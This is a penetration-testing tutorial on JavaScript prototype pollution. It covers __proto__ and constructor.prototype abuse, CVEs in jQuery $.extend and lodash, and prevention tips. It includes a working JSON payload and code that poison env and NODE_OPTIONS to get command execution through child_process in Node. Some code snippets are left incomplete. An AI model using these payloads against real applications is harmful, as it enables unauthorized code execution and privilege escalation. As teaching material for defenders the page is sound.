Pentesting Web

NodeJS - __proto__ & prototype Pollution

Objects in JavaScript

First of all, we need to understand Objectin JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:

In Javascript, Objectis a basic object, the template for all newly created objects. It is possible to create an empty object by passing nullto Object.create. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.

console.log(Object.create(null)); // prints an empty object

Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a null object is just an empty dictionary: {}

Functions / Classes in Javascript

In Javascript, the concepts of the class and the function are quite interrelated (the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript). Let’s see the following example:

function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
var person1 = new person("Satoshi", 70);

Prototypes in JavaScript

One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:

Functions of the class can also be modified (like toString or valueOf the following cases):


In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.

Note that, if you add a property to an object that is used as the prototype for a set of objects (like the myPersonObj), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.

__proto__ pollution

You should have already learned that every object in JavaScript is simply a collection of key and value pairs and that every object inherits from the Object type in JavaScript. This means that if you are able to pollute the Object type each JavaScript object of the environment is going to be polluted!

This is fairly simple, you just need to be able to modify some properties (key-value pairs) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.

function person(fullName) {
this.fullName = fullName;
var person1 = new person("Satoshi");

From the previous example it's possible to access the structure of Object using the following ways:


So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:

function person(fullName) {
this.fullName = fullName;
var person1 = new person("Satoshi");
//Add function as new property
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
person1.printHello() //This now works and prints hello
//Add constant as new property
person1.__proto__.__proto__.globalconstant = true
person1.globalconstant //This now works and is "true"

So now each JS object will contain the new properties: the function printHello and the new constant globalconstant

prototype pollution

This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the keyword __proto__is forbidden this technique can be useful.

If you are able to modify the properties of a function, you can modify the prototype property of the function and each new property that you adds here will be inherit by each object created from that function:

function person(fullName) {
this.fullName = fullName;
var person1 = new person("Satoshi");
//Add function as new property
person.prototype.sayHello = function(){console.log("Hello");}
person1.sayHello() //This now works and prints hello
//Add constant as new property
person.prototype.newConstant = true
person1.newConstant //This now works and is "true"
//The same could be achieved using this other way:
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
person1.constructor.prototype.newConstant = true

In this case only the objects created from the person class will be affected, but each of them will now inherit the properties sayHello and newConstant.

There are 2 ways to abuse prototype pollution to poison EVERY JS object.

The first one would be to pollute the property prototype of Object (as it was mentioned before every JS object inherits from this one):

Object.prototype.sayBye = function(){console.log("bye!")}

If you manage to do that, each JS object will be able to execute the function sayBye.

The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:

something = {"a": "b"}
something.constructor.prototype.sayHey = function(){console.log("Hey!")}

After executing that code, each JS object will be able to execute the function sayHey.


Basic Example

So where’s the prototype pollution? It happens when there’s a bug in the application that makes it possible to overwrite properties of Object.prototype. Since every typical object inherits its properties from Object.prototype, we can change application behaviour. The most commonly shown example is the following:

if (user.isAdmin) { // do something important!}

Imagine that we have a prototype pollution that makes it possible to set Object.prototype.isAdmin = true. Then, unless the application explicitly assigned any value, user.isAdmin is always true!

For example, obj[a][b] = value. If the attacker can control the value of a and value, then he only needs to adjust the value of ato __proto__(in javascript, obj["__proto__"] and obj.__proto__are completely equivalent) then property b of all existing objects in the application will be assigned to value.

However, the attack is not as simple as the one above, according to paper, we can only attack when one of the following three conditions is met:

  • Perform recursive merge

  • Property definition by path

  • Clone object

RCE Example

Imagine a real JS using some code like the following one:

const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
return target;
function clone(target) {
return merge({}, target);
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']

You can observe that the merge function is coping one by one all the key-value pairs from a dictionary into another one. This may seem secure, but it isn't as the copy of the __proto__ or prototype properties from a dictionary into an object may modify completely the structure of the rest of the JS objects (as it was previously explained).

RCE abusing environmental variables

This trick was taken from Basically, if a new process using node is spawned and you are able to poison the environmental variables it's possible to execute arbitrary commands. It's also possible to poison environmental variables y setting the env property in some object inside JS. For more information about why this works read the previously indicated URL.

You can poison all the objects env property abusing __proto__:

b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hackermate').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']

Or all the objects abusing prototypefrom a dictionary constructor:

b = {"name": "Cat"}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']

Executing any of the last 2 chunks of code (and creating some VersionCheck.js file) the file /tmp/hacktricks is going to be created.

Going back to the initial example if you substitute the USERINPUT with the following line arbitrary command execution will be achieved:

{"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}}

CVE-2019–11358: Prototype pollution attack through jQuery $ .extend

$ .extend, if handled incorrectly, can change the properties of the object prototype(the template of the objects in the app). This attribute will then appear on all objects. Note that only the “deep” version (ie g) of $ .extened is affected.

Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:

We can imagine myObjectis an input field from the user and is serialized into the DB)

In this code, we often think, when running will assign the attribute isAdmininto the newly created object. But essentially, it is assigned directly to {} and then {}.isAdmin will be true. If after this code, we perform the following check:

If (user.isAdmin === true) {
// do something for admin

If the user has not yet existed ( undefined), the propertyisAdminwill be searched in its parent object, which is the Object added isAdmin with the value true above.

Another example when executed on JQuery 3.3.1:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true

These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.

CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash

Lodash is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.



This bug affects all versions of Lodash, already fixed in version 4.17.11.

What can I do to prevent?

  • Freeze properties with Object.freeze (Object.prototype)

  • Perform validation on the JSON inputs in accordance with the application’s schema

  • Avoid using recursive merge functions in an unsafe manner

  • Use objects without prototype properties, such as Object.create(null), to avoid affecting the prototype chain

  • Use Mapinstead of Object

  • Regularly update new patches for libraries